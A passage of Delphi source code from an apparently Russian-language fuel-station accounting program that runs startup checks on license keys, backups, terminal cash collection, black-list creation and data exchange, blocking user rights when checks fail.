KeyVersionDate:=StrToDate(copy(Key,11,10));
KeyVersion:=copy(Key,21,length(Key));
except
Raise Exception.Create(TranslateText('Неверный формат VERSION_KEY.'));
end;
if RightVersion(Version.fileversion,KeyVersion) then
begin
if (KeyCommonDate<>StrToDate('01.09.1939')) and (Today>KeyCommonDate) then
Raise Exception.Create(TranslateText('Время действия текущего ключа истекло.'));
end
else
begin
if Today>KeyVersionDate then
Raise Exception.Create(TranslateText('Эта версия безнадежно устарела. Необходимо установить новую версию.'))
else
Begin
Result := 2;
Msg := TranslateText('Эта версия OIL устарела. Ею можно будет пользоваться до ')+DateToStr(KeyVersionDate);
End;
end;
Except on E:Exception do
Begin
Result := 1;
Msg := E.Message;
End;
End;
end;
Function TestNonSyncOrgs(var Msg : string):integer;
var q: TOilQuery;
Fatal: Boolean;
s: string;
begin
Result := 0;
Msg := TranslateText('Тест пройден успешно');
q := TOilQuery.Create(nil);
try
q.Sql.Text:=' select oo.id,oo.name,osync.date_ '+
' from oil_org_sync osync,v_org oo '+
' where osync.id=oo.id and osync.inst=oo.inst '+
' and osync.state=''Y'' and oo.state=''Y'' '+
' order by date_ ';
try
_OpenQuery(q);
if q.RecordCount>0 then begin
Fatal:=(q.FieldByName('date_').Value<Date);
if Fatal then s:=TranslateText('Истек срок синхронизации организаций! Работа Оил заблокирована!')+#13#10
else s:=TranslateText('Следующие организации необходимо синхронизировать с одноименными ')+#13#10+TranslateText('организациями, присланными из НК Альфа-Нафта')+#13#10;
while not q.Eof do begin
s:=s+#13#10+q.FieldByName('name').AsString+' ('+q.FieldByName('id').AsString+TranslateText(') до ')+q.FieldByName('date_').AsString;
q.Next;
end;
if Fatal then Result := 1
else Result := 2;
Msg := s;
end;
finally
q.Free;
end;
except on E:Exception do
begin
ShowMessage('uTestLaunch.TestNonSyncOrgs: '+E.Message);
Result := 1;
end;
end;
end;
function TestCheckUpFlag(var Msg : string):integer;
Begin
Result := 0;
Msg := TranslateText('Тест пройден успешно');
if (CheckupStatus.ErrBlock<>'') and not NowIsRestDay then
begin
Result := 1;
Msg := CheckupStatus.ErrBlockMessage;
end;
End;
function TestCheckUpFlagOnActivate(var Msg : string):integer;
Begin
Result := 0;
Msg := TranslateText('Тест пройден успешно');
if CheckupStatus.ErrWarning<>''
then Begin
Result := 2;
Msg := CheckupStatus.ErrWarningMessage;
End;
End;
procedure TfrmTestLaunch.AddRecord(ImageIndex: integer; Comment_ : string);
Begin
rmd.Append;
rmd.FieldByName('Flag').AsInteger := ImageIndex;
rmd.FieldByName('Comment_').AsString := Comment_;
rmd.Post;
if ImageIndex=0 then startlog(' '+Comment_+' ... ok')
else startlog(' '+Comment_+TranslateText(' ... ошибка!'));
End;
//==============================================================================
// проверка даты последнего резервного копирования
// Result := 0 - ОК, 1 - блокировка, 2 - предупреждение
function TestBackupFlag(var Msg: string): integer;
//****************************************************************************
function IsEnabled(AValue: String): boolean;
begin
try
Result := Copy(AValue, 1, 1) = 'Y';
except
Result := true;
end;
end;
//****************************************************************************
function GetSmokeDays(AValue: String): Integer;
begin
try
Result := StrToInt(Copy(AValue, 3, 2));
except
Result := -1;
end;
end;
//****************************************************************************
function GetLastBackupDate(AValue: String): TDate;
begin
try
Result := StrToDate(AValue);
except
Result := StrToDate('22.06.1941');
end;
end;
//****************************************************************************
var
SBackupTune, SLastBackup: string;
LastBackupDate: TDate;
begin
Result := 0;
Msg := TranslateText('Тест пройден успешно');
SBackupTune := GetVal(ReadOilVar('BACKUP_TUNE'));
SLastBackup := GetVal(ReadOilVar('LAST_BACKUP'));
if (Pos('#', SLastBackup+SBackupTune) <> 0 ) or (SLastBackup = '') or (SBackupTune = '') then
begin
Msg := TranslateText('Отсутствуют или не корректные ключи проверки резервного копирования.')+
TranslateText(' Проверьте правильность установки скриптов');
Result := 1;
end
else
// если есть ключи в oil_var
begin
LastBackupDate := GetLastBackupDate(SLastBackup);
// если последняя резервная копия раньше чем вчера - предупредить
if LastBackupDate < GetSystemDate - GetSmokeDays(SBackupTune) then
begin
Result := 2;
Msg := TranslateText('Дата последнего резервного копирования ')+ DateToStr(LastBackupDate) +#13#10;
if IsEnabled(SBackupTune) then
Msg := Msg + TranslateText('Произведите резервную копию, иначе завтра будут отключены права пользователей')
else Result := 0;
end;
// если проверка включена и последняя резервная копия раньше чем позавчера - блокировать
if (LastBackupDate < GetSystemDate - (GetSmokeDays(SBackupTune) + 1)) and (IsEnabled(SBackupTune)) then
begin
Result := 1;
Msg := TranslateText('Дата последнего резервного копирования ')+ DateToStr(LastBackupDate) +#13#10+
TranslateText('Необходимо произвести резервное копирование БД');
end;
if ((DayOfWeek(GetSystemDate) = 2) and (DayOfWeek(LastBackupDate) = 6)) // це понеділок і у п"ятнецю було копіювання бази
or (DayOfWeek(GetSystemDate) in [1, 7]) // це вихідний день
or (Pos(FormatDateTime('dd.mm', GetSystemDate), ReadOILVar('HOLIDAYS')) > 0) then // це свято
Result := 0;
end;
end;
//==============================================================================
function ActiveCH(p_num: integer): boolean; // активація другорядних перевірок
begin
if ReadOilVar('CH_SECOND') = '' then result := true
else
result :=
pos(','+ IntToStr(p_num) +',',
','+ GetVal(ReadOilVar('CH_SECOND')) +',') > 0;
end;
//==============================================================================
procedure IncArrayLength;
Begin
inc(ArrayLength);
SetLength(ArrayOfComment,ArrayLength);
End;
//==============================================================================
function TfrmTestLaunch.IsBlockedFirstTestRegular: boolean;
var ImageIndex, i: integer;
//*************************************************************
procedure CheckBlockAndWarning(ChIdx: integer);
Begin
if ImageIndex<>0 then
ResultStr := ResultStr + IntToStr(ChIdx)+',';
Case ImageIndex of
1: Block := True;
2: Warning := True;
3: begin
Warning := True;
RecFocused := true;
RecordFocus := rmd.RecNo;
end;
end;
if not RecFocused and (ImageIndex > 0) then
RecordFocus := rmd.RecNo;
end;
//*************************************************************
begin
ResultStr := ',';
Block := False;
Warning := False;
RecFocused := False;
RecordFocus := 1;
ArrayLength := 0;
SetLength(ArrayOfComment,0);
rmd.EmptyTable;
rmd.Active := True;
IncArrayLength;
ImageIndex := TestVersionKey(ArrayOfComment[ArrayLength-1]);
CheckBlockAndWarning(-1);
AddRecord(ImageIndex,TranslateText('Ключ VERSION_KEY'));
if ActiveCH(1) then
begin
IncArrayLength;
ImageIndex := TestNonSyncOrgs(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Синхронизация организаций'));
CheckBlockAndWarning(-2);
end;
IncArrayLength;
ImageIndex := TestBackUpFlag(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Резервное копирование'));
CheckBlockAndWarning(-3);
IncArrayLength;
ImageIndex := TestVersionCompatible(ArrayOfComment[ArrayLength-1]);
CheckBlockAndWarning(-4);
AddRecord(ImageIndex,TranslateText('Ключ VERSION_COMPATIBLE'));
if ActiveCH(2) then
begin
if LoadChecks(1) then // динамічні перевірки для FirstTest`a (--$TEST=1) з exe_sql
for i:=0 to Length(Checks)-1 do
if Checks[i].IsRegular or not IsRegularOnly then // при старті Ойла - перевіряти всі
begin // при регулярних - перевіряються лише перевірки з --$ISREGULAR=1;
SetLength(ArrayOfComment,Length(ArrayOfComment)+1);
ArrayOfComment[High(ArrayOfComment)] := IntToStr(i);
AddRecord(Checks[i].Result,Checks[i].Description);
ImageIndex := Checks[i].Result;
CheckBlockAndWarning(Checks[i].CheckIndex);
if (Checks[i].Result<>0) and (Checks[i].ResultEmpId <> -1) and (Main.EMP_ID <> 0) then
Main.EMP_ID := Checks[i].ResultEmpId;
end;
end;
if not IsRegularOnly then // перевіряти лише при старті Ойла
begin
{***** АХТУНГ!!! Эта часть проверок должна стоять последней!! *****}
IncArrayLength;
ImageIndex := TestCheckUpFlag(ArrayOfComment[ArrayLength-1]);
AddRecord(ImageIndex,TranslateText('Ошибки в проверках по талонам/карточкам/бланкам'));
CheckBlockAndWarning(-5);
end;
Result := Block or Warning;
end;
//==============================================================================
function FirstTest(var pp_Password: Boolean; p_IsRegularOnly: Boolean = false): Boolean;
var frmTest: TfrmTestLaunch;
Begin
startlog(TranslateText(' запуск проверок, часть 1...'));
Result := False;
Block := False;
Warning := False;
_ExecSqlOra('begin ov.ResetOilVar; end;');
frmTest := TfrmTestLaunch.Create(Application);
with frmTest do // ImageIndex :=0 - ОК, 1-блокировка, 2-предупреждение
try
bbtContinue.Tag := 1; // FirstTest
IsRegularOnly := p_IsRegularOnly;
if IsBlockedFirstTestRegular then
frmTest.tag := -1;
pnlPassword.Visible := Block;
rmd.Filtered := True; // ховаємо пройдені перевірки по-дефолту
cbHideGreen.Checked := True;
frmTest.rmd.RecNo := RecordFocus;
if not p_IsRegularOnly and Warning or Block then
ShowModal
else
Result := True;
SetLength(ArrayOfComment,0);
if ModalResult=mrOk then
Result := True;
pp_Password := Block;
if pp_Password then
begin
startlog(TranslateText(' проверки пройдены по паролю'));
Main.EMP_ID := Main.SUPER_REAL_EMP_ID;
end
else
startlog(TranslateText(' проверки пройдены'));
finally
Free;
end;
end;
Function TfrmTestLaunch.SynchroPart:integer;
Begin
Result :=0;
try
qPart.Close;
qPart.Prepare;
_OpenQueryParOra(qPart,['p_Days',EXCH_PART_TIME]);
if qPart.RecordCount > 0
then if IsObl(Main.INST)
then if qPart.FieldByName('N').AsFloat <=0
then Result := 1
else Result := 2
else Result := 1;
except on e:Exception do
begin
ShowMessage(TranslateText('Ошибка TfrmTestLaunch.SynchroPart: ')+E.Message);
result := 1;
end;
end;
End;
Function EventExists(EventId: integer;Azs_id : integer;T : TDateTime;
var ResultTime : TDateTime; DaysBack : integer=0):boolean;
// Функция проверяет, существует ли событие номер EventId по АЗС Azs_id
// начиная с даты T (возможно DaysBack дней назад)
// Если существует - в ResultTime заносится ее дата/время
var p_Date : TDate;
qCardModemCall : TOilQuery;
Begin
ResultTime := 0;
if DaysBack<>0
then p_Date := PreviousWorkDay(T,DaysBack)
else p_Date := T;
qCardModemCall := TOilQuery.Create(nil);
qCardModemCall.Session := frmStart.OraSession1;
qCardModemCall.SQL.Text := qCardModemCallText;
with qCardModemCall do
Begin
Close;
ParamByName('p_ctype').AsInteger := EventId;
ParamByName('p_date').AsDateTime := p_Date;
ParamByName('p_azs_id').AsInteger := Azs_id;
Prepare;
Open;
Result := not IsEmpty;
if not IsEmpty then ResultTime := FieldByName('ResultTime').AsDateTime;
End;
FreeAndNil(qCardModemCall);
End;
Function CustomPreviousWorkDay(CurrDay : TDateTime; ActiveDays:string;
DaysBack:integer=1;Truncated : boolean=True): TDateTime;
var Hld : string;
T : TDateTime;
i : integer;
Begin
// вытаскиваем список праздников
Hld := ReadOILVar('HOLIDAYS');
T := CurrDay;
if Truncated then T := trunc(CurrDay);
i:= DaysBack;
// ищем текущий рабочий день
while (DayOfWeek(T) in [1,7]) or (pos(FormatDateTime('dd.mm', T), Hld)>0) do T:=T-1;
while i>0 do
Begin
T:=T-1;
dec(i);
while (DayOfWeek(T) in [1,7]) or (pos(FormatDateTime('dd.mm', T),Hld)>0) or
((ActiveDays<>'') and (Pos(','+IntToStr(DayOfWeek(T))+',',','+ActiveDays+',')=0)) do T:=T-1;
End;
Result := T;
End;
// Проверяет, есть ли сбой по событию EventId, DaysBack дней назад
// Для событий 1 и 2 можно задавать по какой АЗС
Function FaultEvent(EventId, Azs_Id : integer;DaysBack:integer=0;ActiveDays:string='';
FixedDate:TDateTime=0):boolean;
var Now_ : TDate;
qFault : TOilQuery;
Begin
Now_ := trunc(GetSystemDate);
case EventId of
3,4 : Now_ := CustomPreviousWorkDay(GetSystemDate,ActiveDays,DaysBack);
5,6 : Now_ := FixedDate;
else if DaysBack<>0 then Now_ := PreviousWorkDay(GetSystemDate,DaysBack);
End;
qFault := TOilQuery.Create(nil);
qFault.Session := frmStart.OraSession1;
qFault.SQL.Text := qFaultText;
with qFault do
Begin
Close;
ParamByName('p_ctype').AsInteger := EventId;
ParamByName('p_sysdate').AsDateTime := Now_;
ParamByName('p_azs_id').AsInteger := Azs_id;
Prepare;
Open;
Result := not IsEmpty;
End;
qFault.Free;
End;
Procedure SetTimer(Tmr, MsgTmr : TRXTimerEvent;T1,T2,TimeBlock:TDateTime;CheckResult:integer);
var Now_ : TDateTime;
Begin
with MainForm do Begin
Now_ := GetSystemDate;
Tmr.Enabled := False;
MsgTmr.Enabled := False;
case checkResult of
0: if Now_ < T1 then Begin
MsgTmr.Interval := trunc((T2-Now_)*24*3600*1000);
MsgTmr.Cycled := False;
Tmr.Interval := trunc((TimeBlock-Now_)*24*3600*1000);
Tmr.Enabled := True;
MsgTmr.Enabled := True;
End;
2: if Now_ < T2 then Begin
MsgTmr.Interval := trunc((T2-Now_)*24*3600*1000);
MsgTmr.Cycled := False;
Tmr.Interval := trunc((TimeBlock-Now_)*24*3600*1000);
Tmr.Enabled := True;
MsgTmr.Enabled := True;
End
else if Now_ < TimeBlock
then Begin
Tmr.Interval := trunc((TimeBlock-Now_)*24*3600*1000);
Tmr.Enabled := True;
MsgTmr.Interval := MsgTmr.Tag*60*1000;
MsgTmr.Cycled := False;
MsgTmr.Enabled := True;
End;
End;
if not timPetrol.Active then timPetrol.Activate;
End;
End;
Procedure GetTimes(EventID : Integer; var T1, T2, BlockTime : TDateTime);
var qCard : TOilQuery;
Now_ : TDateTime;
Begin
qCard := TOilQuery.Create(nil);
qCard.Session := frmStart.OraSession1;
qCard.SQL.Text := 'select * from CARD_CHECKUPS where checkup_id='+IntToStr(EventID)+' and inst = '+IntToStr(INST);
qCard.Open;
Now_ := GetSystemDate;
T1 := trunc(Now_) +
StrToInt(Copy(qCard.FieldByName('START_TIME').AsString,1,
Pos(':',qCard.FieldByName('START_TIME').AsString)-1))/24+
StrToInt(Copy(qCard.FieldByName('START_TIME').AsString,
Pos(':',qCard.FieldByName('START_TIME').AsString)+1,2))/24/60;
T2 := trunc(Now_) +
StrToInt(Copy(qCard.FieldByName('WARNING_TIME').AsString,1,
Pos(':',qCard.FieldByName('WARNING_TIME').AsString)-1))/24+
StrToInt(Copy(qCard.FieldByName('WARNING_TIME').AsString,
Pos(':',qCard.FieldByName('WARNING_TIME').AsString)+1,2))/24/60;
BlockTime := trunc(Now_) +
StrToInt(Copy(qCard.FieldByName('WARNING_TIME').AsString,1,
Pos(':',qCard.FieldByName('WARNING_TIME').AsString)-1))/24+
StrToInt(Copy(qCard.FieldByName('WARNING_TIME').AsString,
Pos(':',qCard.FieldByName('WARNING_TIME').AsString)+1,2))/24/60+
qCard.FieldByName('TIME_TO_BLOCK').AsInteger/24/60;
qCard.Free;
End;
Function AZS_with_GSM_Modem(AZS_ID : integer):boolean;
Begin
Result := Pos(','+IntToStr(AZS_ID-1000000)+',',Main.AZS_WITH_GSM)>0;
End;
Function SuccessIncass(var Msg: string):integer;
var Now_, Yest, Yest2, T1, T2, TimeBlock : TDateTime;
BlockMsg, WarnMsg, Comment_ : string;
qAZS, qIncass : TOilQuery;
Procedure CheckYesterdayIncass;
Begin
if not FaultEvent(1, qAZS.FieldByName('id').AsInteger,1)
then Begin
qIncass.Close; // Найти дату последней вчерашней инкассации D_i и дату соотв. ЧС D_ch
qIncass.ParamByName('p_date_b').AsDateTime := Yest + T1-trunc(T1);
qIncass.ParamByName('p_date_e').AsDateTime := trunc(Now_);
qIncass.ParamByName('p_azs_id').AsInteger := qAZS.FieldByName('id').AsInteger;
qIncass.Prepare;
qIncass.Open;
// Если вчера не было инкасации или была, но с устаревшим ЧС - блок
if qIncass.IsEmpty or
not qIncass.IsEmpty and not FaultEvent(7,0,2) and
not (((Yest2 + T1-trunc(T1))<qIncass.FieldByName('DateCH').AsDateTime) and
(qIncass.FieldByName('DateCH').AsDateTime<qIncass.FieldByName('call_date').AsDateTime)) and
not AZS_WITH_GSM_Modem(qAZS.FieldByName('id').AsInteger)
then Begin // Если вчера не было инкассации - заблокировать права
Result := 1;
BlockMsg := BlockMsg +#13#10+' - '+qAZS.FieldByName('AzsName').AsString;
End;
end;
End;
Begin
// Результат 0 - ОК, 1 - Блок, 2 - Предупреждение
Result := 0;
Msg := ''; WarnMsg := ''; BlockMsg := '';
Now_ := GetSystemDate;
Yest := PreviousWorkDay(Now_);
Yest2 := PreviousWorkDay(Now_,2);
qIncass := TOilQuery.Create(nil);
qIncass.Session := frmStart.OraSession1;
qIncass.SQL.Text := qIncassText;
qAZS := TOilQuery.Create(nil);
qAZS.Session := frmStart.OraSession1;
qAZS.SQL.Text := qAZSText;
qAZS.Open;
GetTimes(1,T1,T2,TimeBlock);
while not qAZS.Eof do
Begin
if not FaultEvent(1, qAZS.FieldByName('id').AsInteger) then
if Now_ < T1
then CheckYesterdayIncass
else Begin
qIncass.Close; // Найти дату последней сегодняшней инкассации D_i и дату соотв. ЧС D_ch
qIncass.ParamByName('p_date_b').AsDateTime := T1;
qIncass.ParamByName('p_date_e').AsDateTime := trunc(Now_)+1;
qIncass.ParamByName('p_azs_id').AsInteger := qAZS.FieldByName('id').AsInteger;
qIncass.Prepare;
qIncass.Open;
if qIncass.IsEmpty or
not qIncass.IsEmpty and not FaultEvent(7,0,1) and
not ((qIncass.FieldByName('DateCH').AsDateTime>(Yest + T1-trunc(T1))) ) and
// (qIncass.FieldByName('DateCH').AsDateTime<=qIncass.FieldByName('call_date').AsDateTime)) and
not AZS_WITH_GSM_Modem(qAZS.FieldByName('id').AsInteger)
then Begin
if qIncass.IsEmpty
then Comment_ := TranslateText('Не было инкассации')
else if not (qIncass.FieldByName('DateCH').AsDateTime>(Yest + T1-trunc(T1)))
then Comment_ := TranslateText('Устаревший черный список')
else if not (qIncass.FieldByName('DateCH').AsDateTime<=qIncass.FieldByName('call_date').AsDateTime)
then Comment_ := TranslateText('Дата ЧС больше даты инкассации(неправильно установлено системное время)')
else Comment_ := '';
if Now_ < TimeBlock
then Begin
if Result =0 then Result := 2;
WarnMsg := WarnMsg + #13#10 +qAZS.FieldByName('AzsName').AsString;
WarnMsg := WarnMsg + #13#10 + ' '+Comment_;
End
else Begin
Result := 1;
BlockMsg := BlockMsg +#13#10+' - '+qAZS.FieldByName('AzsName').AsString;
WarnMsg := WarnMsg + #13#10 + ' '+Comment_;
End;
End;
End;
qAZS.Next;
End;
case Result of
0: Msg := TranslateText('Тест пройден успешно');
1: Begin
Main.EMP_ID := 0;
Main.REAL_EMP_ID := 0;
MainForm.ProcessMainMenu;
Msg := TranslateText('Не произведена инкассация терминалов на перечисленных точках обслуживания :')+
BlockMsg +#13#10+
TranslateText('Необходимо инкассировать терминалы (с обновленным черным списком ЧС)')+
TranslateText('ЧС должен быть сформирован не ранее 15:30 предыдущего рабочего дня')+
#13#10+TranslateText('Заблокированы все права пользователя');
End;
2: Msg := TranslateText('Не произведена инкассация терминалов на перечисленных точках обслуживания :')+
WarnMsg +#13#10+
TranslateText('Необходимо инкассировать терминалы (с обновленным черным списком))')+
TranslateText('ЧС должен быть сформирован не ранее 15:30 предыдущего рабочего дня');
End;
SetTimer(MainForm.teSuccIncass, MainForm.teSuccIncassMsg,T1,T2,TimeBlock,Result);
qAZS.Free;
qIncass.Free;
End;
Function LoadModemTrans(var Msg : string):integer;
var Now_, Yest, T1, T2, TimeBlock, EventTime : TDateTime;
qAZS : TOilQuery;
BlockMsg, WarnMsg : string;
E : boolean;
Begin
Result := 0;
Msg := ''; WarnMsg := ''; BlockMsg := '';
Now_ := GetSystemDate;
qAZS := TOilQuery.Create(nil);
qAZS.Session := frmStart.OraSession1;
qAZS.SQL.Text := qAZSText;
qAZS.Open;
GetTimes(2,T1,T2,TimeBlock);
Yest := PreviousWorkDay(T1);
while not qAZS.Eof do
Begin
if not FaultEvent(2, qAZS.FieldByName('id').AsInteger) then
if Now_ < T1
then if not FaultEvent(2, qAZS.FieldByName('id').AsInteger,1)
then Begin
E := EventExists(2,qAZS.FieldByName('id').AsInteger,T1, EventTime,1);
if not E or (trunc(EventTime)< Yest)
then Begin
Result := 1;
BlockMsg := BlockMsg +#13#10+' - '+qAZS.FieldByName('AzsName').AsString;
End
End
else Begin End
else if not EventExists(2,qAZS.FieldByName('id').AsInteger,T1, EventTime)
then if Now_ >= TimeBlock
then Begin
Result := 1;
BlockMsg := BlockMsg +#13#10+' - '+qAZS.FieldByName('AzsName').AsString;
End
else Begin
if Result =0 then Result := 2;
WarnMsg := WarnMsg + #13#10 +qAZS.FieldByName('AzsName').AsString;
if not FaultEvent(2, qAZS.FieldByName('id').AsInteger,1)
then Begin
E := EventExists(2,qAZS.FieldByName('id').AsInteger,T1, EventTime,1);
if not E or (trunc(EventTime)< Yest)
then Begin
Result := 1;
BlockMsg := BlockMsg +#13#10+' - '+qAZS.FieldByName('AzsName').AsString;
End
End;
End;
qAZS.Next;
End;
case Result of
0: Msg := TranslateText('Тест пройден успешно');
1: Begin
Main.EMP_ID := 0;
Main.REAL_EMP_ID := 0;
MainForm.ProcessMainMenu;
Msg := TranslateText('Из перечисленных точек обслуживания не загружены')+#13#10+
TranslateText('транзакции в программу Петрол')+
BlockMsg +#13#10+
TranslateText('После модемной инкассации необходимо загрузить транзакции в Петрол.')+
#13#10+TranslateText('Заблокированы все права пользователя');
End;
2: Msg := TranslateText('Из перечисленных точек обслуживания не загружены')+#13#10+
TranslateText('транзакции в программу Петрол')+
WarnMsg +#13#10+
TranslateText('После модемной инкассации необходимо загрузить транзакции в Петрол.');
End;
SetTimer(MainForm.teLoadModemTrans, MainForm.teLoadModemTransMsg,T1,T2,TimeBlock,Result);
qAZS.Free;
End;
Function CardTrans(Event_Id: integer;var Msg : string):integer;
var Now_, Yest, T1, T2, TimeBlock: TDateTime;
q : TOilQuery;
Card_Kit : integer;
BlockMsg, WarnMsg, ActiveDays : string;
Tmp : variant;
WildExists : boolean;
Function EventCount(T1:TDateTime):integer;
Begin
q.Close;
q.SQL.Text := 'select count(*) as C from card_modem_call where call_type='+
IntToStr(Event_Id)+' and call_date>:T1';
q.ParamByName('T1').AsDateTime := T1;
q.Prepare;
q.Open;
Result := q.FieldByName('C').AsInteger;
End;
Begin
Result := 0;
Msg := ''; WarnMsg := ''; BlockMsg := '';
Now_ := GetSystemDate;
q := TOilQuery.Create(nil);
q.Session := frmStart.OraSession1;
q.SQL.Text := qRequireCardIncassText;
q.Open;
WildExists := q.FieldByName('Wild').AsInteger > 0;
// Если нет диких АЗС-ок и на сегодня нет сбоев по модемной икассации
// то ничего требовать не надо
if (q.FieldByName('C').AsInteger = 0) or FaultEvent(Event_Id,0)
then Begin
q.Free;
Msg := TranslateText('Тест пройден успешно');
Exit;
End;
// Найти кол-во комплектов инкасс. карт
Card_Kit := StrToInt('0'+GetVal(ReadOILVar('CARD_KIT')));
// Вытянуть дни недели, когда надо требовать инкассацию
ActiveDays := '';
Tmp := GetSQLValue('select ACTIVE_DAYS from card_checkups where checkup_id='+IntToStr(Event_Id)+' and inst='+IntToStr(INST));
if not VarIsNull(Tmp) then ActiveDays := Tmp;
GetTimes(Event_Id,T1,T2,TimeBlock);
Yest := CustomPreviousWorkDay(T1,ActiveDays,1,False);
if Now_ < T1
then if not FaultEvent(Event_Id,0,1,ActiveDays) and
not (EventCount(Yest)>=Card_Kit) and WildExists
then Result := 1
else Begin End
else if not (EventCount(T1)>=Card_Kit)
then if Now_ >= TimeBlock
then Result := 1
else Begin
if Result =0 then Result := 2;
if not FaultEvent(Event_Id,0,1,ActiveDays) and
not (EventCount(Yest)>=Card_Kit) and WildExists
then Result := 1
End;
case Result of
0: Msg := TranslateText('Тест пройден успешно');
1: Begin
Main.EMP_ID := 0;
Main.REAL_EMP_ID := 0;
MainForm.ProcessMainMenu;
if Event_Id = 3 then Msg := TranslateText('Не все комплекты карт инкассированы !')
else Msg := TranslateText('Не на все комплекты карт сброшен черный список !')
End;
2: if Event_Id = 3 then Msg := TranslateText('Не все комплекты карт инкассированы !')
else Msg := TranslateText('Не на все комплекты карт сброшен черный список !')
End;
if Result =1 then Msg := Msg + #13#10+TranslateText('Заблокированы все права пользователя');
if Event_Id = 3
then SetTimer(MainForm.teLoadCardTrans, MainForm.teLoadCardTransMsg,T1,T2,TimeBlock,Result)
else SetTimer(MainForm.tePutBlackList, MainForm.tePutBlackListMsg,T1,T2,TimeBlock,Result);
q.Free;
End;
Function FindPreviousEvent(EventId : integer;Now_ : TDateTime):TDateTime;
var q : TOilQuery;
Yest : TDateTime;
Begin
Result := Now_-1;
Yest := PreviousWorkDay(Now_);
q := TOilQuery.Create(nil);
q.Session := frmStart.OraSession1;
q.SQL.Text := qPreviousEventText;
q.ParamByName('p_now').AsDateTime := Now_;
q.ParamByName('p_EventId').AsInteger := EventId;
q.ParamByName('p_yest').AsDateTime := Yest;
q.Prepare;
q.Open;
if not q.IsEmpty then Result := q.FieldByName('D').AsDateTime;
q.Free;
End;
Function PCExchange(EventId : integer; var Msg : string):integer;
var Now_, T, T1, T2, TimeBlock, EventTime : TDateTime;
q : TOilQuery;
Begin
Result := 0;
Msg := '';
Now_ := GetSystemDate;
if not FaultEvent(EventId,0,0,'',trunc(Now_)) then
begin
q := TOilQuery.Create(nil);
q.Session := frmStart.OraSession1;
q.SQL.Text := qNowInIntervalText;
q.ParamByName('p_EventId').AsInteger := EventId;
q.Prepare;
q.Open;
if q.IsEmpty then
begin
T := FindPreviousEvent(EventId,Now_);
if not FaultEvent(EventId,0,0,'',trunc(T)) and
not EventExists(EventId,0,T,EventTime)
then Result := 1;
end
else
begin
T1 := q.FieldByName('T1').AsDateTime;
T2 := q.FieldByName('T2').AsDateTime;
TimeBlock := q.FieldByName('TimeBlock').AsDateTime;
if not EventExists(EventId,0,T1,EventTime) and (Result =0)then
begin
Result :=2;
T := FindPreviousEvent(EventId,T1);
if not FaultEvent(EventId,0,0,'',trunc(T)) and
not EventExists(EventId,0,T,EventTime)
then Result := 1;
end;
end;
if Result=0 then
begin
q.Close;
q.SQL.Text := qNextEventText;
q.ParamByName('p_Now').AsDateTime := Now_;
q.ParamByName('p_EventId').AsInteger := EventId;
q.Prepare;
q.Open;
if not q.IsEmpty then
begin
T1 := q.FieldByName('T1').AsDateTime;
T2 := q.FieldByName('T2').AsDateTime;
TimeBlock := q.FieldByName('TimeBlock').AsDateTime;
end;
end;
q.Free;
end;
case Result of
0: Msg := TranslateText('Тест пройден успешно');
1:
begin
Main.EMP_ID := 0;
Main.REAL_EMP_ID := 0;
MainForm.ProcessMainMenu;
if EventId = 5 then
Msg := TranslateText('Не приняты пакеты из ПЦ !')
else
Msg := TranslateText('Не отправлены пакеты в ПЦ !');
end;
2:
if EventId = 5 then
Msg := TranslateText('Не приняты пакеты из ПЦ !')
else
Msg := TranslateText('Не отправлены пакеты в ПЦ !');
end;
if Result = 1 then
Msg := Msg + #13#10+TranslateText('Заблокированы все права пользователя');
if EventId = 5 then
SetTimer(MainForm.teLoadPackPC, MainForm.teLoadPackPCMsg, T1, T2, TimeBlock, Result)
else SetTimer(MainForm.teSendPackPC, MainForm.teSendPackPCMsg, T1, T2, TimeBlock, Result);
End;
Function MakeBlackList(var Msg:string):integer;
var Now_, Yest, T1, T2, TimeBlock, EventTime : TDateTime;
Begin
Result := 0;
Msg := '';
Now_ := GetSystemDate;
GetTimes(7,T1,T2,TimeBlock);
Yest := PreviousWorkDay(T1);
if not FaultEvent(7,0) then
begin
if Now_ < T1 then
begin
if not FaultEvent(7,0,1) then
if not EventExists(7,0,T1,EventTime,1) or (trunc(EventTime)< Yest)then
Result := 1;
end
else if not EventExists(7,0,T1,EventTime)then
begin
if Now_ > TimeBlock then
Result := 1
else
begin
if Result =0 then
Result := 2;
if not EventExists(7,0,T1,EventTime,1) or (trunc(EventTime)< Yest)then
Result := 1;
end;
end;
end;
case Result of
0:Msg := TranslateText('Тест пройден успешно');
1:
Begin
Main.EMP_ID := 0;
Main.REAL_EMP_ID := 0;
MainForm.ProcessMainMenu;
Msg := TranslateText('Необходимо создать черный список для модема!');
end;
2:Msg := TranslateText('Необходимо создать черный список для модема!');
End;
if Result =1 then
Msg := Msg + #13#10+TranslateText('Заблокированы все права пользователя');
SetTimer(MainForm.teMakeBlackList, MainForm.teMakeBlackListMsg,T1,T2,TimeBlock,Result);
End;
Function LinkComServer(var Msg:string):integer;
var Pause_ : real;
TimerInterval : integer;
Now_, T1, T2, TimeBlock : TDateTime;
q : TOilQuery;
Begin
Result := 0;
Msg := '';
Now_ := GetSystemDate;
q := TOilQuery.Create(nil);
try
q.Session := frmStart.OraSession1;
q.SQL.Text := 'select * from card_checkups where checkup_id=8 and Enabled=''Y'' and inst = '+IntToStr(INST);
q.Open;
if not FaultEvent(8,0) and not q.IsEmpty
then Begin
GetTimes(8,T1,T2,TimeBlock);
TimerInterval := q.FieldByName('WARNING_QUANTITY').AsInteger;
if (Now_>=T1) and (Now_<T2)
then Begin
Pause_ := GetSQLValue('select (sysdate-to_date(value,''dd.mm.yyyy hh24:mi:ss''))*24*60 from oil_var where name=''LINKCOMSERVER''');
if Pause_>=30
then if Pause_>60 then Result :=1
else Result :=2;
with MainForm do
case Result of
0,2: Begin
if Now_ < T2 then Begin
teRunComServerMsg.Interval := trunc(TimerInterval*60000);
teRunComServerMsg.Cycled := True;
teRunComServerMsg.Enabled := True;
End
else if Result=0 then teRunComServerMsg.Enabled := False;
End;
1: teRunComServerMsg.Enabled := False;
End;
if not MainForm.timPetrol.Active then MainForm.timPetrol.Activate;
End;
End;
case Result of
0: Msg := TranslateText('Тест пройден успешно');
1: Begin
Main.EMP_ID := 0;
Main.REAL_EMP_ID := 0;
MainForm.ProcessMainMenu;
Msg := TranslateText('Необходимо запустить программу LinkComServer!')+#13#10+
TranslateText('Отключены все права пользователя') ;
End;
2: Msg := TranslateText('Необходимо запустить программу LinkComServer!');
End;
finally
FreeAndNil(q);
end;
End;
function SecondTest: boolean;
